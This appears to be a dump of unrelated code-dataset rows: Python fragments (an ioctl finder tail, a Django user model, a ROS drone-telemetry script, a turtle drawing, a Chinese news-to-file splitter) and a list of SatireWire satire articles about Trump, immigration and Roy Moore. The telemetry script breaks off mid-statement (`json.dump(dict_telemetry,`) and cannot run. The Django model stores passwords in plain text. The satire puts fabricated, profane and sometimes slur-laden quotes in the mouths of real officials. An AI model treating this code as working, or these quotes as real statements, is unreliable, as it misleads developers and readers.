total_failed += 1
log_error("Ioctl cmd finder failed for:", curr_r_val[-1])
log_info("Ioctl Cmd finder failed for:", total_failed, " out of:", len(to_run_cmds), " Ioctl functions.")
return True
if __name__ == "__main__":
main()
|
990,167 | 0637b132dc70535751708721d674a89284b19183 | from django.db import models
from django.contrib.auth.models import AbstractUser
# Create your models here.
class User(models.Model):
# identifier = models.CharField(max_length=40, unique=True)
USERNAME_FIELD = 'identifier'
user_name = models.CharField(max_length=300)
password = models.CharField(max_length=300)
yue = models.FloatField()
def __str__(self):
return self.user_name
# class Meta(AbstractUser.Meta):
# pass |
990,168 | 7be50eee83d8a726890edc5bb934fbcf3fadef4a | from ..models.courses import Course
from .base import BaseIndex
class CourseIndex(BaseIndex):
def get_model(self):
return Course
|
990,169 | c6a01891e77ea83ce13ee4a38806bed7728bcaee | #!/usr/bin/env python3
import os
import rospy
import time
import json
import serial
import pprint
from json_setup import telemetry
from sensor_msgs.msg import BatteryState
from sensor_msgs.msg import NavSatFix
from sensor_msgs.msg import Imu
from geometry_msgs.msg import Vector3Stamped
from geometry_msgs.msg import PointStamped
from std_msgs.msg import UInt8
from std_msgs.msg import Float32
from sensor_msgs.msg import Joy
import std_msgs.msg
dict_telemetry = telemetry
ser = serial.Serial('/dev/ttyS1',115200)
filename = "Telemetry.json"
rosDisable = True
pp = pprint.PrettyPrinter(indent=4)
def battery_callback(msg):
if (msg.voltage >= 0):
dict_telemetry["battery"]["voltage"] = msg.voltage
if (msg.current >= 0):
dict_telemetry["battery"]["current"] = msg.current
if (msg.charge >= 0):
dict_telemetry["battery"]["charge"] = msg.charge
if (msg.capacity >= 0):
dict_telemetry["battery"]["capacity"] = msg.capacity
if (msg.design_capacity >= 0):
dict_telemetry["battery"]["design_capacity"] = msg.design_capacity
if (msg.percentage >= 0):
dict_telemetry["battery"]["level"] = msg.percentage
# if (msg.voltage[0] >= 0):
# dict_telemetry["battery"]["battery_cell_1"] = msg.cell_voltage[0]
# if (msg.voltage[1] >= 0):
# dict_telemetry["battery"]["battery_cell_2"] = msg.cell_voltage[1]
# if (msg.voltage[2] >= 0):
# dict_telemetry["battery"]["battery_cell_3"] = msg.cell_voltage[2]
# if (msg.voltage[3] >= 0):
# dict_telemetry["battery"]["battery_cell_4"] = msg.cell_voltage[3]
# if (msg.voltage[4] >= 0):
# dict_telemetry["battery"]["battery_cell_5"] = msg.cell_voltage[4]
# if (msg.voltage[5] >= 0):
# dict_telemetry["battery"]["battery_cell_6"] = msg.cell_voltage[5]
def gps_health_callback(data):
if (data.data >= 0):
dict_telemetry["gps"]["health"] = data.data
def gps_position_callback(msg):
if (msg.status.status >= 0):
dict_telemetry["gps"]["nsat"] = msg.status.status
if (msg.latitude >= 0):
dict_telemetry["location"]["lat"] = msg.latitude
if (msg.longitude >= 0):
dict_telemetry["location"]["lon"] = msg.longitude
if (msg.altitude >= 0):
dict_telemetry["location"]["alt"] = msg.altitude
# if (msg.position_covariance >= 0):
# dict_telemetry["heading"] = msg.position_covariance
def velocity_callback(msg):
velocity = msg.vector
if (msg.vector.x >= 0):
dict_telemetry["velocity"]["x"] = msg.vector.x
if (msg.vector.y >= 0):
dict_telemetry["velocity"]["y"] = msg.vector.y
if (msg.vector.z >= 0):
dict_telemetry["velocity"]["z"] = msg.vector.z
def height_callback(data):
if (data.data >= 0):
dict_telemetry["height_above_takeoff"] = data.data
def local_position_callback(msg):
point = msg.point
if (point.x >= 0):
dict_telemetry["calculated"]["roll"] = point.x
if (point.y >= 0):
dict_telemetry["calculated"]["pitch"] = point.y
if (point.z >= 0):
dict_telemetry["calculated"]["yaw"] = point.z
def joy_callback(msg):
if (msg.axes[0] >= 0):
dict_telemetry["rc"]["roll"] = msg.axes[0]
if (msg.axes[1] >= 0):
dict_telemetry["rc"]["pitch"] = msg.axes[1]
if (msg.axes[2] >= 0):
dict_telemetry["rc"]["yaw"] = msg.axes[2]
if (msg.axes[3] >= 0):
dict_telemetry["rc"]["throttle"] = msg.axes[3]
if (msg.axes[4] >= 0):
dict_telemetry["rc"]["mode"] = msg.axes[4]
if (msg.axes[5] >= 0):
dict_telemetry["rc"]["landing_gear"] = msg.axes[5]
def imu_callback(msg):
orientation = msg.orientation
if (orientation.x >= 0):
dict_telemetry["imu"]["orientation"]["x"] = orientation.x
if (orientation.y >= 0):
dict_telemetry["imu"]["orientation"]["y"] = orientation.y
if (orientation.z >= 0):
dict_telemetry["imu"]["orientation"]["z"] = orientation.z
angular_velocity = msg.angular_velocity
if (angular_velocity.x >= 0):
dict_telemetry["imu"]["velocity"]["x"] = angular_velocity.x
if (angular_velocity.y >= 0):
dict_telemetry["imu"]["velocity"]["y"] = angular_velocity.y
if (angular_velocity.z >= 0):
dict_telemetry["imu"]["velocity"]["z"] = angular_velocity.z
linear_acceleration = msg.linear_acceleration
if (linear_acceleration.x >= 0):
dict_telemetry["imu"]["acceleration"]["x"] = linear_acceleration.x
if (linear_acceleration.y >= 0):
dict_telemetry["imu"]["acceleration"]["y"] = linear_acceleration.y
if (linear_acceleration.z >= 0):
dict_telemetry["imu"]["acceleration"]["z"] = linear_acceleration.z
def display_mode_callback(data):
if (data.data == 1):
task = "GOHOME"
elif (data.data == 4):
task = "TAKEOFF"
elif (data.data == 6):
task = "LAND"
dict_telemetry["mode"] = task
def flight_status_callback(data):
if (data.data == 0):
mode = "ON_GROUND"
else:
mode = "ACTIVE"
dict_telemetry["status"] = mode
def telemetry_json():
while not rospy.is_shutdown():
try:
read_from_safeeye()
with open(filename, 'w') as f:
json.dump(dict_telemetry,
def read_from_safeeye():
line = ser.readline()
j = ""
try:
j = json.loads(line.decode())
if j['type'] == 'fft':
# pp.pprint(j)
dict_telemetry.update(j)
except Exception as e:
print("Something happened")
if __name__ == '__main__':
if rosDisable == False:
rospy.init_node('Telemetry_json', anonymous=True)
rospy.Subscriber("/dji_sdk/battery_state", BatteryState, battery_callback)
rospy.Subscriber("/dji_sdk/gps_health", UInt8, gps_health_callback)
rospy.Subscriber("/dji_sdk/gps_position", NavSatFix, gps_position_callback)
rospy.Subscriber("/dji_sdk/velocity", Vector3Stamped, velocity_callback)
rospy.Subscriber("/dji_sdk/height_above_takeoff", Float32 , height_callback)
rospy.Subscriber("/dji_sdk/local_position", PointStamped, local_position_callback)
rospy.Subscriber("/dji_sdk/rc", Joy, joy_callback)
rospy.Subscriber("/dji_sdk/imu", Imu, imu_callback)
rospy.Subscriber("/dji_sdk/display_mode", UInt8 , display_mode_callback)
rospy.Subscriber("/dji_sdk/flight_status", UInt8 , flight_status_callback)
try:
telemetry_json()
except rospy.ROSInterruptException:
pass
|
990,170 | acbf46fd80e875cb6a9894f72ae27ceb7d1d8298 | from turtle import *
screen=Screen()
pen=Turtle()
pen.speed(0)
pen.color('red')
pen.fillcolor('yellow')
for i in range(500):
pen.forward(400)
pen.right(100)
done() |
990,171 | b1565e0131a5147845b3e22e96e5e9953bd09733 | # coding:utf-8
import re
import openpyxl
import os
import jieba
# stopWord = [] # 停用词
def calFilename(num: int):
maxlen = 6 # 文件名一共是6位
t = num
cnt = 0
while t > 0:
t //= 10
cnt += 1
filename = "0" * (maxlen - cnt) + str(num) + ".txt"
return filename
def loadStopWord():
with open("停用词表.txt", "r", encoding="utf-8") as file:
stopword = file.read().splitlines()
return stopword
def purifyWords(content: str, stopword):
contentList = jieba.cut(content)
res = ''
for word in contentList:
if word not in stopword:
res += word
return res
def filter(text):
# 正则过滤掉特殊符号、标点、英文、数字等。
pattern = '[a-zA-Z0-9’!"#$%&\'()*+,-./:：;；|<=>?@，—。?★、…【】《》？“”‘’！[\\]^_`{|}~（）]+'
# 去除换行符
text=re.sub(pattern, ' ', text)
# 多个空格成1个
text=text.replace(" ", "")
return text
if __name__ == "__main__":
# stopWord = loadStopWord()
excel_name = r"新闻文本分类算法样本集+人民网+网易+旅兴网+读书网+美食台+美食天下+新浪+中华网+铁血+军事前沿+西陆+搜狗新闻库+数码科技网+科技快报网"
prefix = ""#"过滤标点、英语、数字 "
workbook = openpyxl.load_workbook(excel_name + ".xlsx")
sheetnames = workbook.sheetnames
try:
os.makedirs(r"."+ "\\" + prefix + excel_name + "\财经")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\房产")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\教育")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\科技")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\军事")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\汽车")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\体育")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\游戏")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\娱乐")
os.makedirs(r"."+ "\\" + prefix + excel_name + "\其他")
except Exception as E:
print(E)
for cat in sheetnames:
table = workbook[cat]
max_row = table.max_row
max_col = table.max_column
print("正在创建", cat, "下的新闻……")
for row in range(2, max_row + 1):
text1 = str(table.cell(row, 3).value)
text2 = str(table.cell(row, 1).value)
if text1 == "None":
text1 = ""
if text2 == "None":
text2 = ""
content = text1 + "\n" + text2
# content = purifyWords(content,stopWord) # 过滤停用词
# content = filter(content) # 过滤标点符号、英文、数字
filename = r"."+ "\\" + prefix + excel_name + '\\' + cat + '\\' + calFilename(row - 1)
with open(filename, "w", encoding="utf-8") as f:
f.write(content)
print(cat, "下的新闻创建完毕！") |
990,172 | bc164f8f7a112c28356d2037c474402767b25e77 | satire_wire_articles = [['no-topic', 'ALTERNATIVE PUERTO RICO THRIVING AFTER HURRICANE MARIA', 'ALTERNATIVE SAN JUAN, APR (SatireWire.com) – White House officials today said President Trump’s claim that his handling of Hurricane Maria was a “tremendous success” was a reference to Alternative Puerto Rico, a land where 3,000 people didn’t die and no one is still homeless and 1.1 million people got immediate FEMA help. “Look, people can criticize the President for his response to the disaster on Puerto Rico, but that viewpoint ignores the reality of an Alternative Puerto Rico where none of that bad stuff happened, and that’s what President Trump was referring to when he said his response was amazing,” said Press Secretary Sarah Huckabee Sanders. “And it was amazing. The President did an incredible job, and if you’d bother to go out and find some everyday Alternative Puerto Ricans, I bet you they would agree.” Reporters immediately questioned the existence of Alternative Puerto Rico, but Huckabee Sanders was unswayed. “As this White House has consistently said, for every fact there is an alternative fact,” she said. “There may be a Puerto Rico like the one you guys complain about, but that completely ignores the alternative fact that there may be an Alternative Puerto Rico, and on Alternative Puerto Rico, the President is loved and respected for the incredible job he did in safeguarding the lives of millions of Alternative Puerto Ricans.” White House Press Secretary Sarah Huckabee Sanders When Huckabee Sanders was asked where, exactly, Alternative Puerto Rico is located, a testy exchange ensued. HUCKABEE SANDERS: It’s in the Caribbean. Learn to use a map. REPORTER: On the map there is only ‘Puerto Rico.’ HUCKABEE SANDERS: When you look at it, but when President Trump looks at it, he sees what you obviously are incapable of seeing, and that is Alternative Puerto Rico. REPORTER: But nearly 3,000 people died on Puerto Rico. How is that a success? HUCKABEE SANDERS: Good Lord you’re thick. We’re talking about entirely different things. You’re talking about Puerto Rico. I’m talking about Alternative Puerto Rico, where the death toll is only 64, and FEMA responded swiftly, and unemployment is negative 200 percent. I can give you alternative real numbers, but I know the partisan media isn’t interested in alternative real numbers. REPORTER: Because they’re not real! HUCKABEE SANDERS: I assure you these numbers are entirely alternatively accurate. REPORTER: Sarah, have you spoken to any Alternative Puerto Ricans yourself? HUCKABEE SANDERS: No hablo Espanol Alternativo. Democrats quickly criticized Trump for disregarding the tragedy, including Senate Minority Leader Chuck Schumer, (D-NY), who called the President’s speech “offensive” and “blatantly false.” Huckabee Sanders, however, said those comments were hypocritical. “I find it amusing that Senator Schumer has lashed out wildly at the President, especially when Alternative Chuck Schumer admires and respects the President and only has great things to say about him. Of course, the mainstream media never quotes him. Why is that?” © 2018 SatireWire.com Related Tags: alternative puerto rico, chuck schumer, fema response, hurricane maria, maria aftermath, president trump, puerto rico Previous Topic: MORNING SHOW ‘FUCK NO, TALLAHASSEE’ TOPS TV RATINGS'], ['no-topic', 'MORNING SHOW ‘FUCK NO, TALLAHASSEE’ TOPS TV RATINGS', 'Co-hosts Trey Tarpley (L) and Jenna Meyers TALLAHASSEE, FL (SatireWire.com) – Just one month after changing its name from ‘Good Day, Tallahassee’ to ‘Fuck No, Tallahassee,’ WFPE’s early morning show has leapfrogged the competition to become the Florida panhandle’s number one morning television program. ‘Fuck No, Tallahassee,’ which airs weekdays from 6:30 a.m. to 7 a.m., beat out longtime market leader ‘Wake Up Tallahassee!’ on ABC affiliate WTXL. Analysts attribute the improved ratings to a change in attitude of the ‘Fuck No, Tallahassee’ co-hosts, Trey Tarpley and Jenna Meyers. “They still have a news segment, traffic and weather, and maybe a B-list celebrity interview,” said Tallahassee Democrat TV writer Brianna Kyle. “But you watch the show and you can’t help but feel that something is different.” A recent transcript of the co-hosts’ banter with meteorologist Traci Mulvaney and traffic reporter Kelly Franks illustrates the point. Mulvaney: … so enjoy the sun this morning because by this afternoon, clouds roll in. Tarpley: Fuck no. (General laughter) Mulvaney: I’m afraid so. Meyers: Well I hope they won’t have to cancel the face-painting contest in the park! Mulvaney: Fuck no. Rain won’t start till midnight. Tarpley: Thanks Traci. And now to Kelly for the traffic! Franks: Fuck no. Tarpley: Or maybe not! ‘When I proposed changing our early program from ‘Good Morning Tallahassee’ to ‘Fuck No, Tallahassee,’ a lot of people told me, ‘Wow, that’s a really bad idea,” said WFPE station manager Rick Stingle. “But I knew something they didn’t. I knew we had a market survey that found 72 percent of Tallahasseeans, when they wake up in Tallahassee, immediately think, ‘Fuck no.’ So I said, ‘Let’s capture that market.’ “Also I was going through a divorce. And I was drinking a lot,” Stingle added. “Honestly I don’t even remember commissioning that survey. Possibly I dreamed it. But whatever.” Anchors Tarpley and Meyers, known for their perfect teeth and unfailing affability, were among those who didn’t initially support the change. “I’ve been stuck in this media market since 2004, so I relate to the ‘Fuck Tallahassee’ thing,” said Tarpley. “But the median average of our viewers was 61. I just knew they wouldn’t like the swearing.” “Oh heavens, I was fine with the swearing,” said Meyers, a former Miss Florida. “I just didn’t want to lose some of our infectious cheerfulness. And have we?” “Fuck no, Tallahassee!” Meyers and Tarpley said together. Tarpley’s concerns about older viewers did prove accurate as many abandoned the show. But what he and others didn’t account for was FNT’s ability to bring in younger viewers who previously never watched broadcast television. While its competitors’ viewers are in their 60s, Viewers of ‘Fuck No, Tallahassee’ have a median age of 20. “I never used to watch local TV, but one morning I happened to turn it on and I was like, ‘What?’” said part-time college student Ben Byerly, 23, of Woodville. “I love that they say, ‘Fuck no’ all the time. I have no idea why they say it, but it’s cool.” Though popular, the show has courted controversy, particularly after this back-and-forth from last Thursday. Tarpley: … for now, 10-year-old Anthony is hoping his mom can beat the odds and even, someday, walk again. And we at Channel 8 hope that, too. Meyers: Fuck no. Tarpley: (laughter) Oops. I guess we don’t. “OK, that wasn’t my finest moment, but I did it because a lot of our viewers were probably thinking that too,” said Meyers. “I mean, they don’t know Anthony or his mother, plus they live in Tallahassee. In Florida. So they’ve got their own problems. “Also I have to say ‘Fuck no’ 12 times per half hour,” she said. “It’s in my contract.” FNT’s success is already having an impact on the TV landscape across the Sunshine State, as other affiliates rejig their morning show titles, including ‘Suck on This, Fort Myers,’ ‘Bite Me, Sarasota,’ and ‘I Can’t Believe It’s Goddamn Morning Already, Tampa/St. Pete.’ © 2018 SatireWire.com Related Tags: florida tv, good morning america, tallahassee morning, tv ratings Previous Topic: TRUMP TO KEEP FAMILIES TOGETHER, STACKED INTO BORDER WALL Next Topic: ALTERNATIVE PUERTO RICO THRIVING AFTER HURRICANE MARIA'], ['no-topic', 'TRUMP TO KEEP FAMILIES TOGETHER, STACKED INTO BORDER WALL', 'Official White House Transcript Topic: Immigration, Family Separation Policy Thingy In attendance: DONALD J. TRUMP, President KIRSTJEN NIELSEN, Homeland Security Secretary. JEFF SESSIONS, Attorney General STEPHEN MILLER, Little Himler, advisor MELANIA TRUMP, First Lady PAUL RYAN, Speaker of the House *** SESSIONS: We’re getting a lot of heat for this family separation policy. MELANIA: It is a terrible policy. NIELSEN: It’s not a policy. SESSIONS: Law, then. Or program. PRES. TRUMP: Let’s just say ‘thingy.’ MELANIA: It is more than just a thingy! MILLER: The President’s authority to call it a thingy will not be questioned! SESSIONS: Take it down, Stephen. I’m just sayin’, we might need alternatives. MILLER: Something harsher, you mean. How about we keep immigrant families together, but we separate their heads from their bodies? PRESIDENT TRUMP: So, what, the heads will be kept elsewhere, but the bodies will be together? SESSIONS: We can use smaller cages. Save some money. MELANIA: You cannot separate heads from bodies! PRES. TRUMP: No you can. ISIS did it all the time. They got great ratings. MELANIA: You cannot kill people! SESSIONS: Now let’s just be calm. I think maybe separating heads from bodies would be a deterrent… PRES. TRUMP: And good television… SESSIONS: But maybe we can scale it back a bit. MILLER: How about if we just separate, like, an arm… MELANIA: No! PRES. TRUMP: A finger. I know some guys… MELANIA: Paul, say something! RYAN: Tax cuts. NIELSEN: We could, Mr. President, keep children and parents together, but mix it up. Give children to different parents. So they stay with parents, just not their parents. SESSIONS: Or… we say parents get to keep one child. The others we take away. They’ll just have to choose which kid they like best. PRES. TRUMP: Hmm. Guess I’d keep Ivanka. MELNIA: Donald you cannot choose like that. MILLER: The President’s authority to love Ivanka most will not be questioned! MELANIA: You cannot make families choose which child to keep! Paul? RYAN: With tax cuts, a family won’t have to choose between paying the mortgage and buying food. MELNIA: This is wrong. We should not be separating anyone. MILLER: Fine. How about we keep them together, but hang them all upside down? MELNIA: What?! PRES. TRUMP: Maybe we just hang the children upside down. MELANIA: You cannot do that! MILLER: The President’s authority to hang children upside down will not be questioned! MELNIA: It is torture. NIELSEN: But it would be a deterrent. PRES. TRUMP: Blinding them would also be a deterrent. I don’t think even ISIS thought of that. SESSIONS: I like that, Mr. President. Shows we’re just. Because justice is blind. MELANIA: Hang them? Blind them? Why do not we just kill them? MILLER: Wait, you said we can’t do that! MELANIA: You cannot! NIELSEN: That’s right. I think DHS would be the ones to do that. Legally. MELANIA: Paul, are you listening to this?! RYAN: I am listening to the sounds of tax cuts jangling in American’s pockets. PRES. TRUMP: This wouldn’t be a problem if Congress gave me money for my wall. MILLER: Hmm… I know how we keep families together and get our wall. PRES. TRUMP: My wall. MILLER: Sorry sir, your wall. And to build it, we use these immigrant families. SESSIONS: That’s not new. Immigrants are gonna build the wall anyway. Cheap labor. MILLER: No, they’re not gonna build the wall. They’re gonna be the wall. We stack ‘em up. NIELSEN: Like Latino cinderblocks? MILLER: Yeah. One on top of the other. PRES. TRUMP: We’ll call ‘em cinderbacks. Or wetbricks. SESSIONS: We can poll the base to see which makes them angrier. MELANIA: Paul, please, say something! RYAN: Wisconsin. Cheese. America… MELANIA: This is horrible! MILLER: What’s with you and children? MELANIA: I love children! PRES. TRUMP: Hey now… Melania? It’s Melania, right? I love children too. They’re beautiful. But I also want my wall to be beautiful, so we go with Stephen’s… thingy. SESSIONS: Yeah c’mon, Melania. Families can stay together this way. MILLER: Actually, it’s important that we keep them together. They’ll bond-up better than they would with strangers. Pack tighter. Save money on cement. SESSIONS: With 50,000 migrants a month, we’ll have that wall built in no time. NIELSEN: Do we need approval for this? MILLER: The President’s authority to stack immigrants will not be questioned! PRES. TRUMP: If we announce it, maybe Congress will finally give me money for my wall. Paul, what do you think? RYAN: The Tax Cuts and Jobs Act of 2017, Public Law 115-97. MILLER: OK it’s settled. We end family separation and start family stacking. NIELSEN: But will stacking immigrants remind people of stacking slaves on ships? SESSIONS: Well, it gives me the warm fuzzies, so… yes? PRES. TRUMP: Let’s announce it today. MELANIA: In this case, Donald, I am leaving you today. I have had enough! … MILLER: Good riddance. Sir, you’re better off without her. SESSIONS: After all, she is an immigrant. PRES. TRUMP: But she’s my cornerstone. SESSIONS: Oh, well, if you… PRES. TRUMP: For my new wall. She can be the cornerstone. © 2018 SatireWire.com Previous Topic: TRUMP CANCELS 2018 MIDTERMS TO THWART RUSSIAN MEDDLING Next Topic: MORNING SHOW ‘FUCK NO, TALLAHASSEE’ TOPS TV RATINGS'], ['no-topic', 'TRUMP CANCELS 2018 MIDTERMS TO THWART RUSSIAN MEDDLING', 'WASHINGTON, D.C. (SatireWire.com) – In an effort to keep Russia from interfering with democracy, the Trump administration today announced it has cancelled the 2018 mid-term elections. “Critics say I’m soft on Russia, but imagine how the Kremlin will feel when they learn I’ve made it impossible for them to meddle in our elections!” President Trump tweeted moments after the announcement. “I feel OK about it,” Russian President Vladimir Putin later responded. Trump said the move was necessary because the Russians had figured out America’s “weakness.” “In America, we have elections, and believe me, the Russians know this,” he told reporters. “In fact, they know exactly when and where our elections are going to happen because we telegraph our intentions. We say ‘Hey, we’re having an election.’ It’s so stupid!” That, Trump added, stops now. “So we’re not going to have elections this November,” he said. “Maybe we’ll have them in 2019. Or 2020. Or maybe never. I’ll let you know. But this will knock them off their game. They can’t hurt our elections because we’re not going to have any elections. My predecessors never thought of this, by the way. Never. Such a simple thing.” Trump advisor Stephen Miller likened eliminating the electoral process to dealing with a crying child. “A baby knows that if it cries, you’ll feed it. Works every time, right?” Miller said. “But what if you never fed it to begin with? It’s never gonna cry, is it?” Critics, however, said the approach sends the wrong message, pointing out that free and open elections are the bedrock of American democracy. “Cancelling elections is the very thing Vladimir Putin wants,” said ranking Senate Foreign Relations member Bob Menendez, D-NJ. “Our system of voting for public officials is what separates us from tyrants like Putin and Kim Jong-un.” “Exactly. It separates us,” Trump responded. “And maybe that’s not a good thing, OK? I mean, Putin is a great man – good friend of mine – but he doesn’t like democracy. He doesn’t like elections. So we get rid of elections, and guess what? Maybe he likes us a little more. Is it wrong that Russia likes us a little more? I don’t think so.” A White House spokesman said the election decision would not affect the President’s recent order to use impartial Russian troops to root out the so-called ‘Deep State’ within the U.S. government. © 2018 SatireWire.com Related Tags: 2018 midterms, donald trump, mid-term elections, russia investigation, russian meddling, vladimir putin Previous Topic: TRUMP WILL DEPLOY RUSSIAN TROOPS TO PURGE U.S. DEEP STATE Next Topic: TRUMP TO KEEP FAMILIES TOGETHER, STACKED INTO BORDER WALL'], ['no-topic', 'TRUMP WILL DEPLOY RUSSIAN TROOPS TO PURGE U.S. DEEP STATE', 'WASHINGTON, D.C. (SatireWire.com) – President Donald Trump today accepted an offer by Russian President Vladimir Putin to use “impartial” Russian troops to root out the so-called “Deep State” within the U.S. government. “We have some very bad people in the justice department, the military and Congress who want to undermine my authority,” Trump told reporters. “We need to get rid of them, but I don’t want anyone saying it’s a partisan bloodbath, or whatever, so I’ve decided to use Russian troops because they non-partisan. Do you think they care if you’re a Democrat or a Republican or rich or poor? No. They’re totally impartial. They’ll be, like, judges with guns.” Democrats and the media called the move, “the very definition of treason,” and demanded the President be impeached, but Trump quickly tweeted a denial. “Using Russian troops to save America is not treason! Treason is someone giving my beautiful Trump International Hotel in D.C. a 3-star review on Yelp. 3 stars! Was it (special counsel) Bob Mueller? FBI needs to investigate!” Meanwhile, Republicans in Congress, having spent a year defending the border wall, election meddling, late-night tweet storms, and the firing of FBI Director James Comey, conceded they’re exhausted. “At this point, fuck it. Bring in the Russians,” said Sen. Jeff Flake, (R-AZ). “It was going to happen anyway.” The White House declined to say how many foreign soldiers will be brought in, with the Pentagon apparently reluctant to provide assistance. “We asked the Pentagon for an estimate of how many Russian troops we would need to fulfill our goals, but so far they have not replied,” said White House Press Secretary Sarah Huckabee Sanders. “We suspect this is because most of the military also served while Obama was president and so they’re loyalty to President Trump is suspect.” Across the country, Democrats and most Republicans not running for office vowed to take to the streets to oppose what they called “foreign intervention.” Trump, surprisingly, said he welcomed dissent. “People have the right to peacefully protest and I will not stand in their way,” he said. “But the Russians, boy, I don’t know. They may not like it so much. We’ll have to see.” In a late-afternoon tweet defending his decision, Trump boasted that using Russian soldiers also fulfills a campaign promise. “I’ve always said I’ll bring in the best people and Putin’s troops are the best,” he wrote. “Look how good they are at rounding up troublemakers in Russia! They can do the same here, and we won’t even have to pay them! The Russian government is footing the entire bill. That’s the art of the deal, folks!” © 2018 SatireWire.com Related Tags: deep state, donald trump, huckabee sanders, president trump, robert mueller, russian troops, vladimir putin Previous Topic: GOP MAY RECONSIDER PLAN TO RUN SLATE OF RACIST PEDOPHILES IN ’18 Next Topic: TRUMP CANCELS 2018 MIDTERMS TO THWART RUSSIAN MEDDLING'], ['no-topic', 'GOP MAY RECONSIDER PLAN TO RUN SLATE OF RACIST PEDOPHILES IN ’18', 'BIRMINGHAM, AL (SatireWire.com) — Following Roy Moore’s surprise loss to Democrat Doug Jones in the Alabama Senate race Tuesday, the state’s Republican leaders said they may reconsider their recent decision to run only homophobic, racist accused pedophiles in the 2018 midterm elections. “After we saw how Roy Moore kept his lead in the polls despite everything, we decided to have a litmus test for future candidates where you have to be anti-abortion, you have to be pro-gun, and you have to be a homophobic, racist accused pedophile,” said Alabama Republican Party spokesman Paul Hampton. “We thought that’s what voters wanted, so we lined up hundreds of matching candidates with this formula, but now we’re unsure.” The formula does seem flawed as Jones, who ran on a platform of not being a homophobic, racist accused pedophile, defeated Moore by about 21,000 votes. While GOP insiders took solace in the fact that more than 48 percent of voters supported a homophobic, racist accused pedophile, they expressed concern that as many as half of Alabamans decided being a homophobic, racist accused pedophile is a bad thing. “Before the election, there was one poll where a third of Republican voters claimed the allegations against Judge Moore made them more likely to vote for him,” said Republican strategist Jake Naughton. “But now I think people were just saying they would vote for Moore because they didn’t want to admit they secretly supported a guy who wasn’t a homophobic, racist accused pedophile. “It could be they were afraid their neighbors would find out, I don’t know, but it’s troubling,” Naughton added. That trouble lies in the massive slate of candidates set to run in hundreds of statewide races next year, including seven U.S. House seats, the governor, lieutenant governor, and attorney general, as well as the state legislature. “Based on Tuesday’s election, you have to wonder how far this thing goes,” said Hampton. “If Republicans don’t want a homophobic, racist accused pedophile senator, does that mean they don’t want a homophobic, racist accused pedophile congressman? They don’t want a homophobic, racist accused pedophile governor? Obviously we’ll have to do more polling. “And hey, maybe we’re reading this wrong,” Naughton added. “Maybe Moore lost because he wasn’t homophobic, racist accused pedophile enough.” © 2017 SatireWire.com Previous Topic: For White Men to Survive, We Need to Start Acting Like Prey Next Topic: TRUMP WILL DEPLOY RUSSIAN TROOPS TO PURGE U.S. DEEP STATE'], ['no-topic', 'For White Men to Survive, We Need to Start Acting Like Prey', '(SatireWire.com) – Straight, white, Christian males are under threat in America. Our supremacy is waning. Our time atop the food chain is nearing its end. The evidence is all around us. Our life expectancy has decreased. Our sperm counts are lower. We elected Donald Trump. Unfortunately, our response to this danger – stockpiling guns, staging violent protests, electing Donald Trump – has been to continue acting like alpha predators when we no longer are. We are prey, and if we’re really serious about protecting our species, if we’re genuinely worried about our survival, then we straight, white, Christian males need to learn from the animal kingdom and adopt measures that have safeguarded other prey animals for millennia and beyond. 1) We could, for example, copy the baby Eurasian Roller bird. When threatened, the Roller chick doesn’t whine or Tweet or move to a gated nest. Instead, it projectile vomits directly onto its attacker. This is quite effective, apparently. The disgusted predator flees. We white males could easily deploy this same defense whenever we feel uncomfortable, such as when someone suggests Jesus was dark-skinned, or when young people vote. It would probably help if we’d recently eaten at Chipotle. 2) Another possibility is to adopt the strategy of the Elephant Hawk-Mother caterpillar. When it senses a hunter nearby, it pulls in its legs and inflates itself to resemble a snake, complete with a false set of eyes. We could do this. We’re good at puffing ourselves up, and we straight, white Christian males don’t even have to cut off our own legs. Society is doing that for us, right? Am I right? … I used to be. All the time. 3) Maybe we could try the dormouse defense. During an attack, if a predator grasps a dormouse by the tail, it doesn’t try to fight off the assailant by quoting Toby Keith. Instead, the aggressor is left holding the proverbial bag as the skin from the dormouse’s tail comes off, which allows it to abscond. The skin doesn’t grow back, and eventually the tail itself snaps off, but the dormouse survives. Human white males lack tails, but we do have a dangling, tail-like protuberance that… never mind. We’re emasculated enough. 4) The sea cucumber is an Echinoderm, a phylum that has been around for 500 million years – that’s roughly 6,000 of our years – and it’s done so without bump stocks, single-sex bathrooms, or strict definitions of marriage. How? When in trouble, the sea cucumber auto-eviscerates. In other words, it contracts its muscles so violently that it secretes some of its own organs out of its anus! This dupes predators into thinking it’s already dead. I’m pretty sure we won’t all be able to master this right away. It might take a few generations. And practice. In the meantime, remember to keep your insurance card on you at all times, and a carry a lot of Preparation H. 5) If that’s too commando, we could mimic the Octopoteuthis deletron, a squid that actually jettisons one of its limbs in a process called autotomy. According to experts, this “minimizes tissue loss” from an attack – “You can’t bite my arm off because I’m going to bite my arm off!” But more importantly, it distracts the predator long enough for the squid to escape. We should probably only use limb-loss under extreme duress, like if our company promotes a woman over us, or we drive past a gay wedding. 6) Slightly less drastic is a tactic deployed by the pygmy sperm whale. When it is under threat, the whale secretes a “reddish-brown intestinal fluid” from its anus. Basically, it defecates. The whale then stirs up the water, creating a fecal cloud to obscure its presence and swim off. Think of it like, ‘The enemy of my enemy is my enema.’ Which is admittedly a paraphrase of a Sanskrit phrase that’s invaded our American language. Ugh. Makes you want to auto-eviscerate. 7) Of all our potential mentors in the wild, the one I wish we could emulate most is the Texas Horned Lizard. It has an amazing self-preservation mechanism. When it’s in danger, the lizard somehow puts pressure on its sinus cavities until the vessels in its eyes burst, shooting a steady stream of blood from its eyes! Imagine being able to do this when face-to-face with some terrifying menace, like the sight of kneeling NFL players, or the word “inclusive.” The problem is, I’m not sure how we’d develop this skill. We could ask Megan Kelly, who apparently had “blood coming out of her eyes” and her “wherever.” But hey, she’s a woman so she probably wouldn’t want to help us, right? Am I right? I was once. A long time ago. © 2017 SatireWire.com Related Tags: animal self-defense, donald trump, nationalism, nativism, prey animals, white decline, white supremacy Previous Topic: TEENAGER USES ROY MOORE DEFENSE Next Topic: GOP MAY RECONSIDER PLAN TO RUN SLATE OF RACIST PEDOPHILES IN ’18'], ['no-topic', 'TEENAGER USES ROY MOORE DEFENSE', 'FATHER: Son, did you steal $20 from your mother’s purse? 